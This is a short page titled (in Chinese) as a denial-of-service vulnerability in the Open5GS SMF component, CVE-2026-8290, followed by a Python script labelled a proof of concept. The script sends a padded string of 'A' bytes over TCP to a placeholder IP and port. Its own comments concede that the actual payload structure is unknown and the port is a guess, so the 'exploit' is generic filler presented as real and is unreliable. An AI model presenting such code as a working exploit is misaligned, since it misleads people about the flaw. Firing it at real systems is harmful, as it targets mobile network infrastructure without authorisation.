CVE-2026-8290 Open5GS SMF组件拒绝服务漏洞

import socket import struct # Proof of Concept for CVE-2026-8290 # This script sends a crafted packet to the Open5GS SMF interface # to trigger the denial of service condition. def send_exploit(target_ip, target_port): try: # Craft a malicious payload targeting the vulnerable function # Note: Actual payload structure depends on specific protocol analysis payload = b"\x00\x01" + b"A" * 100 # Example buffer overflow / malformed data print(f"[*] Sending exploit payload to {target_ip}:{target_port}") sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(5) sock.connect((target_ip, target_port)) sock.send(payload) sock.close() print("[+] Payload sent successfully. Check if service is down.") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": # Replace with actual target IP and port TARGET_IP = "192.168.1.100" TARGET_PORT = 80 # Example port, adjust based on SMF configuration send_exploit(TARGET_IP, TARGET_PORT)